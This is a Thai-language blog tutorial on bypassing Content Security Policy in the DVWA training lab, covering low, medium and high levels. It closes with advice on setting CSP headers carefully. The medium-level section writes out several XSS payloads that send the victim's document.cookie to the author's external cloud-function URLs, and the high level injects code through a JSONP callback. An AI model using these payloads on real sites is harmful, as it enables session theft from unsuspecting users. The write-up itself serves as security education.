Content Security Policy หรือ CSP เป็นการป้องกันการโจมตีแบบ XSS และ Injection โดยเจ้า Server จะต้องประกาศว่า website ของเรา แต่ละหน้าที่ browser ร้องขอมานั้น จะประกอบด้วย Script จากที่ไหนได้บ้าง Internal หรือ External
โดยหาไม่ได้ทำการประกาศ CSP ไว้ Script ที่มาจากแหล่งอื่นที่ไม่ได้ทำการประกาศ จะไม่ถูก execute ผ่านทาง Browser
จากบทความที่แล้ว ผมได้ทำการ Set Header ให้กับ Gatsbyjs บน Firebase Hosting จะเห็นว่า Content-Security-Policy ดังรูปข้างล่าง ผมได้ทำการร้องขอให้เรียกใช้ google font จาก font-src ‘self’ fonts.gstatic.com
ด้วยการตั้งค่า Header ว่า
Content-Security-Policy: font-src 'self' fonts.gstatic.com
ต่อไป เราจะมาทดสอบวิธีการทำ by pass CSP กันดูจาก lab DVWA Web Application เรื่อง Content Security Policy By Pass ดูครับ
จากรูป พบว่าระบบจะให้เราสามารถ include scripts from external sources ได้
ดังนั้นเราจะลองสร้าง web server ขึ้นมาบน local เราอีกตัวนึงจาก docker hub เอาแบบง่ายๆเลย แล้วเราจะเอา file javascript ใส่ไว้ใน server
หลังจากนั้นเราจะ run ngrok เพื่อทำให้ link เราเป็น external แล้วลอง include scripts เราลงไปว่า server จะยอมให้ script เรา run หรือไม่ครับ
docker pull httpd
แล้วสร้าง folder เพื่อเอาไว้เก็บไฟล์ของเราบน local แล้ว map ไปใน container ตามคำสั่งด้านล่างที่ port 8080 ครับ
mkdir servercd serverdocker run -dit --name httpd8080 -p 8080:80 -v "$PWD":/usr/local/apache2/htdocs/ httpd
เสร็จแล้วเราลองดู source code ที่ programmer เขียนไว้บน DVWA
<?php$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.header($headerCSP);# https://pastebin.com/raw/R570EE00?><?phpif (isset ($_POST['include'])) {$page[ 'body' ] .= "<script src='" . $_POST['include'] . "'></script>";}$page[ 'body' ] .= '<form name="csp" method="POST"><p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p><input size="50" type="text" name="include" value="" id="include" /><input type="submit" value="Include" /></form>';
จะพบว่า header csp จะ allows js from self, pastebin.com, jquery and google analytics เท่านั้น
ขั้นต่อไปเราจะลองสร้าง file javascript ไว้บน httpd8080 ที่เราสร้างไว้บน docker ตะกี้ ชื่อไฟล์ว่า csp.js
const runner = () => {alert(1);}runner();
หลังจากนั้นผมจะใช้ ngrok run http 8080
ngrok http 8080Web Interface http://127.0.0.1:4040Forwarding http://1c98789c7b56.ngrok.io -> http://localhost:8080Forwarding https://1c98789c7b56.ngrok.io -> http://localhost:8080
ผมจะสามารถเรียกใช้ file javascript ผมจาก web site external ได้เรียบร้อยแล้ว http://1c98789c7b56.ngrok.io/csp.js
หลังจากที่ผม ได้ external link มาแล้ว นำลงมากรอกที่ include box ด ู เพื่อเช็คว่า browser จะทำงานอย่างไร
หลังจากที่ server มีการ ทำ header Content Security Policy ไว้ว่าให้ allows js from self, pastebin.com, jquery and google analytics เท่านั้น เมื่อเราเปิดดูท ี่ Inspect ของ Browser จะพบว่า ตัว script http://1c98789c7b56.ngrok.io/csp.js ของเรา โดน block เรียบร้อย
และ browser จะแสดงข้อความ error ใน console ว่า server ไม่ได้อนุญาตให้ไฟล์ csp.js ที่มาจาก url ที่ไม่ได้ระบุไว้นะ ตัว script จึงไม่ได้ทำงาน
Refused to load the script 'http://1c98789c7b56.ngrok.io/csp.js' because it violates the following Content Security Policy directive: "script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback.ถ้าอย่างนั้นเราจะลองดึง file javascript จาก website ที่ CSP allows ไว้ นั่นก็คือ pastebin.com
ซึ่งผมจะใส่คำสั่ง
alert('aofiee.dev');
ลงไปและทำการบันทึก ผมก็จะได้ raw url กลับมา โดยเนื้อหาข้างในจะบรรจุ code alert ตะกี้ไว้
https://pastebin.com/raw/g5zafaZz
เมื่อนำไปกรอกผ่าน web application ที่เราเทสเมื่อสักครู่แล้วกด include
จะพบว่า เจ้า Chrome version 85.0.418383 ที่ผมใช้งาน ไม่ได้อนุญาตให้ไฟล์ที่เราเรียกผ่าน url นั้นทำงาน และแจ้งกลับมาว่า
Cross-Origin Read Blocking (CORB) blocked cross-origin response https://pastebin.com/raw/R570EE00 with MIME type text/plain. See https://www.chromestatus.com/feature/5629709824032768 for more details.นั่นก็คือ Browser version นี้ ได้ทำการปิดจุดอ่อนในการเรียก Cross-Origin Read Blocking ไปแล้ว ไม่อนุญาติให้เรียก MIME type text/plain ขึ้นมาทำงาน ต่อให้เราจะไปปิด ด้วย commndline
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --user-data-dir=/tmp/temporary-chrome-profile-dir --disable-web-security --disable-site-isolation-trials
มันก็ไม่ทำงาน
งั้นเดี๋ยวเราจะไป download firefox version เก่ามาเทสดูกัน
โดยไปเลือก version เก่าๆที่เราต้องการนำมาทดสอบได้จากที่นี่ https://ftp.mozilla.org/pub/firefox/releases/
โดยผมเลือกใช้ version 49.02 เพราะเท่าที่อ่านดูใน version นี้ browser ยังไม่มีการแก้ไขช่องโหว่นี้
เมื่อทดสอบจาก link เดิมอีกครั้ง คราวนี้ได้ result ที่แตกต่างออกไป
จะเห็นว่า ถ้า CSP เรา allows site ไว้ และ site นั้น โดน attacker โจมตี เราก็จะโดนไปด้วยได้
ถ้าเราเอา code จาก บทความเรื่อง XSS Stored มาฝังไว้บน pastebin
cookie ของเป้าหมายก็จะถูกส่งกลับมาหาเราทาง line notify เช่นเคย
เราจะมาดู level medium กันบ้าง
จาก code ที่ programmer เขียนไว้ในส่วนของ header
<?php$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";header($headerCSP);// Disable XSS protections so that inline alert boxes will workheader ("X-XSS-Protection: 0");# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>?>
พบว่าระบบจะให้ run เฉพาะ code ที่มาจาก self เท่านั้น ไม่มีจาก ภายนอกเลย และรองรับการเขียน script แบบ inline ที่มีค่า nonce = TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=
ซึ่งถ้าผมลองใส่ว่า
<a href="#" onclick="const url=`https://aofiee.dev/functions/xssFunction?cookie=`;document.location=`${url}${document.cookie}`;" nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">download</a>
ลงไป ระบบก็จะแสดง download ออกมาให้เรา click และ ขโมย cookie
ถึงแม้จะไม่ใช่ script src แต่จะเห็นว่า tag a href สามารถใส่เข้าไปได้ แต่ไม่สามารถกดออกไปข้างนอกได้ เพราะผิด Policy ที่ตั้งไว้
เราจะลองใส่ เป็น tag image ลงไป ก็ไม่ผ่านเหมือนเดิม เพราะอะไร?
<img src=1 onerror="const url=`https://us-central1-aofiee-developer.cloudfunctions.net/xssStealByImageFunction/?cookie=`; this.src = `${url}${document.cookie}`" nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="/>
เพราะ Content Security Policy เรามันยอมให้แต่ script src นั่นเองครับ งั้นเราลองใส่เป็น script ดูตามนี้
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">document.write("<div id=hackme></div>");var url=`https://us-central1-aofiee-developer.cloudfunctions.net/xssStealByImageFunction/?cookie=${document.cookie}`,img=document.createElement("img");img.src=url,document.getElementById("hackme").appendChild(img);</script>
ผลก็คือ ใช้งานได้ครับ
ซึ่งการ bypass แบบนี้ ผ่านทั้ง 2 browser ที่ทดสอบเลยทีเดียว ทั้ง Chrome version ปัจจุบันของผม และ firefox อันเก่าที่โหลดมาเทส
ไปต่อที่ level high กันบ้าง กับ header แบบนี้ ที่รับแต่ script src จากตัวมันเองเท่านั้น
<?php$headerCSP = "Content-Security-Policy: script-src 'self';";header($headerCSP);?><?phpif (isset ($_POST['include'])) {$page[ 'body' ] .= "" . $_POST['include'] . "";}$page[ 'body' ] .= '<form name="csp" method="POST"><p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p><p>1+2+3+4+5=<span id="answer"></span></p><input type="button" id="solve" value="Solve the sum" /></form><script src="source/high.js"></script>';
โดยเมื่อกดปุ่ม Solve the sum ระบบจะไป call http://localhost/vulnerabilities/csp/source/jsonp.php?callback=solveSum
ซึ่ง Params callback จะไปเรียก source/high.js อีกทอดนึง โดยในไฟล์จะเป็น code แบบนี้
function clickButton() {var s = document.createElement("script");s.src = "source/jsonp.php?callback=solveSum";document.body.appendChild(s);}function solveSum(obj) {if ("answer" in obj) {document.getElementById("answer").innerHTML = obj['answer'];}}var solve_button = document.getElementById ("solve");if (solve_button) {solve_button.addEventListener("click", function() {clickButton();});}
งั้นเราจะลองส่ง code ของเราเข้าไปทาง callback โดยใช้ Burp Suite
แก้จาก callback=solveSum เป็น callback=alert(‘aofiee’)
เมื่อกด forward bypass ค่าไปจะได้ผลลัพธ์ออกมาแบบนี้
จะเห็นว่า CSP ที่เราตั้งไว้ ยอมรับ code ที่ attacker bypass เข้าไป เพราะว่าเป็น same site นั่นเองครับ
จากตัวอย่างที่ทดสอบมาทั้ง 3 อันจะเห็นว่าการที่เราตั้ง Content Security Policy ให้กับ Web Application ของเราอย่างละเอียด รู้ที่มาที่ไปของ 3rd party ที่นำมาใช้งาน ว่ามีการใช้ script จาก cdn ที่ไหนบ้าง นั่นจะทำให้ Web Application ของเราปลอดภัยจากผู้ไม่หวังดีมากขึ้นไปด้วย ซึ่ง CSP เต็มๆสามารถไปอ่านต่อได้ที่
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
เมื่อตั้งค่า header เรียบร้อยหมดแล้ว สามารถตรวจสอบความปลอดภัยของ header เราได้ที่ https://securityheaders.com/
ขอให้สนุกกับการทดลอง hack นะครับ
เนื่องจากผู้เขียน ไม่ใช่มืออาชีพทางด้านนี้ หากผิดพลาดประการใด ก็แนะนำเข้ามาได้นะครับ
Quick Links
Legal Stuff